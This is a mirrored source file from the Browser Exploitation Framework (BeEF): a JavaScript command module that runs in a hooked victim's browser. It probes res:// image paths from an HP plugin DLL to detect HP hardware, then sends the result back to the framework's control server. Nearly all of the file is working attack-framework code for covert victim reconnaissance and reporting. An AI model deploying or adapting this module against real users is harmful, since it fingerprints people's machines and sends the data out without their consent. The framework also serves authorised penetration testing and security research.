Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/host/detect_hp/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
var is_hp = new Array;
10
var dom = document.createElement('b');
11
12
parse_results = function() {
13
var result = "false";
14
if (is_hp.length) result = "true";
15
beef.net.send("<%= @command_url %>", <%= @command_id %>, "is_hp="+result);
16
};
17
18
var fingerprints = new Array(
19
new Array("warning","res://hpnetworkcheckplugin.dll/warning.jpg"),
20
new Array("hpr_rgb","res://hpnetworkcheckplugin.dll/HPR_D_B_RGB_72_LG.png")
21
);
22
23
for (var i=0; i<fingerprints.length; i++) {
24
var img = new Image;
25
img.id = fingerprints[i][0];
26
img.name = fingerprints[i][0];
27
img.src = fingerprints[i][1];
28
img.onload = function() { is_hp.push(this.id); dom.removeChild(this); }
29
dom.appendChild(img);
30
}
31
32
setTimeout('parse_results();', 2000);
33
34
});
35
36
37